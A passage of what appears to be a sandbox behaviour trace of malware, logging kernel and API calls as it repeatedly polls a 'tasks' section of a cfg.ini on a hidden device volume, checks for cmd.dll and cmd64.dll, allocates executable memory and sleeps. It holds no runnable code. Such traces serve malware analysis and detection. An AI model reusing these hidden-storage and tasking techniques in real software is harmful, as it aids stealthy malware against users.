Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.239] KeLeaveCriticalRegion () [0129.239] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.239] KeEnterCriticalRegion () [0129.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.239] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.239] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.239] KeLeaveCriticalRegion () [0129.239] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.239] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.239] KeEnterCriticalRegion () [0129.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.240] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.240] KeLeaveCriticalRegion () [0129.240] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.240] ReleaseMutex (hMutex=0xf0) returned 1 [0129.240] Sleep (dwMilliseconds=0x927c0) [0129.255] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.255] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.255] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.255] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.255] KeEnterCriticalRegion () [0129.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.256] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.256] IdePortDispatch () returned 0x103 [0129.256] KeWaitForMutexObject () returned 0x0 [0129.256] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.256] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.256] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.256] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.256] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.256] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04010 [0129.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.256] KeLeaveCriticalRegion () [0129.256] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.256] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.256] KeEnterCriticalRegion () [0129.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.256] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.256] KeLeaveCriticalRegion () [0129.256] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.256] KeEnterCriticalRegion () [0129.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.256] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.256] IdePortDispatch () returned 0x103 [0129.256] KeWaitForMutexObject () returned 0x0 [0129.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.257] KeLeaveCriticalRegion () [0129.257] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.257] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.257] KeEnterCriticalRegion () [0129.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.257] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc2000 [0129.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.257] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.257] IdePortDispatch () returned 0x103 [0129.257] KeWaitForMutexObject () returned 0x0 [0129.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.257] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.257] IdePortDispatch () returned 0x103 [0129.257] KeWaitForMutexObject () returned 0x0 [0129.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.257] KeLeaveCriticalRegion () [0129.257] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.258] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.258] KeEnterCriticalRegion () [0129.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.258] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.258] KeLeaveCriticalRegion () [0129.258] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.258] KeEnterCriticalRegion () [0129.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.258] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.258] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03400, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.258] KeLeaveCriticalRegion () [0129.258] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.258] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.258] KeEnterCriticalRegion () [0129.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.258] ExFreePoolWithTag (P=0xfffffa8003c04010, Tag=0x0) [0129.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.258] KeLeaveCriticalRegion () [0129.258] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.259] ReleaseMutex (hMutex=0xf0) returned 1 [0129.259] Sleep (dwMilliseconds=0x927c0) [0129.274] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.274] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.274] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.275] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.275] KeEnterCriticalRegion () [0129.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.275] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.275] IdePortDispatch () returned 0x103 [0129.275] KeWaitForMutexObject () returned 0x0 [0129.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.275] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.275] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.275] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.275] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.275] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03750 [0129.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.275] KeLeaveCriticalRegion () [0129.275] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.275] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.275] KeEnterCriticalRegion () [0129.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.275] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.275] KeLeaveCriticalRegion () [0129.275] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.275] KeEnterCriticalRegion () [0129.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.275] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.275] IdePortDispatch () returned 0x103 [0129.276] KeWaitForMutexObject () returned 0x0 [0129.276] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.276] KeLeaveCriticalRegion () [0129.276] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.276] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.276] KeEnterCriticalRegion () [0129.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.276] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc7000 [0129.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.276] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.276] IdePortDispatch () returned 0x103 [0129.276] KeWaitForMutexObject () returned 0x0 [0129.276] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.276] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.276] IdePortDispatch () returned 0x103 [0129.276] KeWaitForMutexObject () returned 0x0 [0129.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.277] KeLeaveCriticalRegion () [0129.277] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.277] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.277] KeEnterCriticalRegion () [0129.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.277] KeLeaveCriticalRegion () [0129.277] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.277] KeEnterCriticalRegion () [0129.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.277] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.277] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.277] KeLeaveCriticalRegion () [0129.277] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.277] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.278] KeEnterCriticalRegion () [0129.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.278] ExFreePoolWithTag (P=0xfffffa8003c03750, Tag=0x0) [0129.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.278] KeLeaveCriticalRegion () [0129.278] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.278] ReleaseMutex (hMutex=0xf0) returned 1 [0129.278] Sleep (dwMilliseconds=0x927c0) [0129.293] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.293] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.293] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.293] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.293] KeEnterCriticalRegion () [0129.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.293] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.293] IdePortDispatch () returned 0x103 [0129.293] KeWaitForMutexObject () returned 0x0 [0129.293] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.293] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.293] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.293] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.293] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.293] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04010 [0129.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.293] KeLeaveCriticalRegion () [0129.293] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.293] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.293] KeEnterCriticalRegion () [0129.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.294] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.294] KeLeaveCriticalRegion () [0129.294] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.294] KeEnterCriticalRegion () [0129.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.294] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.294] IdePortDispatch () returned 0x103 [0129.294] KeWaitForMutexObject () returned 0x0 [0129.294] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.294] KeLeaveCriticalRegion () [0129.294] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.294] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.294] KeEnterCriticalRegion () [0129.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.294] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bcc000 [0129.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.294] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.294] IdePortDispatch () returned 0x103 [0129.294] KeWaitForMutexObject () returned 0x0 [0129.295] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.295] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.295] IdePortDispatch () returned 0x103 [0129.295] KeWaitForMutexObject () returned 0x0 [0129.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.295] KeLeaveCriticalRegion () [0129.295] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.295] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.295] KeEnterCriticalRegion () [0129.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.295] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.295] KeLeaveCriticalRegion () [0129.296] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.296] KeEnterCriticalRegion () [0129.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.296] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.296] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03400, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.296] KeLeaveCriticalRegion () [0129.296] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.296] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.296] KeEnterCriticalRegion () [0129.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.296] ExFreePoolWithTag (P=0xfffffa8003c04010, Tag=0x0) [0129.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.296] KeLeaveCriticalRegion () [0129.296] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.296] ReleaseMutex (hMutex=0xf0) returned 1 [0129.296] Sleep (dwMilliseconds=0x927c0) [0129.312] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.312] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.312] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.312] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.312] KeEnterCriticalRegion () [0129.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 